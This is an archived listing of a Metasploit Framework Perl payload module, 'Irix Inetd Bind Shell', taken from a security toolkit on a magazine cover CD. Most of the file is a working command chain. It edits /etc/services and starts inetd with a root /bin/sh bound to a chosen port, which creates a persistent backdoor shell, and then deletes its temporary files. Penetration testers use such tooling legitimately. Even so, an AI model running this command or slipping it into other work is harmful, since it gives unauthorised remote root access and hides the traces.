home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / cmd_irix_bind.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  1.5 KB  |  52 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::cmd_irix_bind;
  11. use strict;
  12. use base 'Msf::PayloadComponent::CommandPayload';
  13. sub _Load {
  14.   Msf::PayloadComponent::CommandPayload->_Import('Msf::PayloadComponent::BindConnection');
  15.   __PACKAGE__->SUPER::_Load();
  16. }
  17.  
  18. my $info =
  19. {
  20.   'Name'         => 'Irix Inetd Bind Shell',
  21.   'Version'      => '$Revision: 1.8 $',
  22.   'Description'  => 'Use inetd to create a persistent bindshell',
  23.   'Authors'      => [ 'H D Moore <hdm [at] metasploit.com>', ],
  24.   'Priv'         => 0,
  25.   'OS'           => [ 'irix' ],
  26.   'Size'         => '',
  27. };
  28.  
  29. sub new {
  30.   _Load();
  31.   my $class = shift;
  32.   my $hash = @_ ? shift : { };
  33.   $hash = $class->MergeHashRec($hash, {'Info' => $info});
  34.   my $self = $class->SUPER::new($hash, @_);
  35.   return($self);
  36. }
  37.  
  38. sub CommandString {
  39.   my $self = shift;
  40.   my $port = $self->GetVar('LPORT');
  41.  
  42.   my $command =
  43.   "grep -v msfbind /etc/services>/tmp/.msf_svcs$$;".
  44.   "echo msfbind $port/tcp>>/tmp/.msf_svcs$$;".
  45.   "cp /tmp/.msf_svcs$$ /etc/services;".
  46.   "echo msfbind stream tcp nowait root /bin/sh sh>/tmp/.msf_inet$$;".
  47.   "/usr/etc/inetd /tmp/.msf_inet$$;".
  48.   "rm /tmp/.msf_inet$$ /tmp/.msf_svcs$$;";
  49.  
  50.   return($command);
  51. }
  52.